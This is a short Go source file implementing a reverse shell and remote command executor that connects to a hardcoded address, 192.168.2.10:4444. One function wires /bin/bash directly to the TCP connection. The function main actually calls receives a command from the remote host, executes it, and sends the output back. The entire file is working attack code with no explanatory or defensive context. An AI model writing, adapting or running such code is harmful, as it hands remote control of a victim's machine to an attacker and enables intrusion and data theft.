package main 
import (
	"net"
	"os/exec"
	"strings"
)

type ReverseAddr struct {
	reverAddr string 
}

func CreateAddr() *ReverseAddr {
	return &ReverseAddr {
		reverAddr: "192.168.2.10:4444",
	}
}


func (ra ReverseAddr) CreateRever() {
	conn, err := net.Dial("tcp", ra.reverAddr)
	if err != nil {
		return 
	}
	cmd := exec.Command("/bin/bash")
	cmd.Stdin = conn
	cmd.Stdout = conn 
	cmd.Stderr = conn 
	cmd.Run()
}

func (ra ReverseAddr) GetInstructions() {
	conn, err := net.Dial("tcp", ra.reverAddr)
	if err != nil {
		return
	}
	buf := make([]byte,1024)
	n, err := conn.Read(buf)
	if err != nil {
		return 
	}
	data := string(buf[:n])
	mensaje := strings.TrimSpace(data)
	partes := strings.Split(mensaje," ")
	comando := partes[0]
	argumentos := partes[1:]
	cmd := exec.Command(comando, argumentos...)
	output, err := cmd.Output()
	if err != nil {
		return 
	}
	_, err = conn.Write(output)
	if err != nil {
		return
	}
	conn.Close()
}


func main() {
	myaddr := CreateAddr()
	myaddr.GetInstructions()
}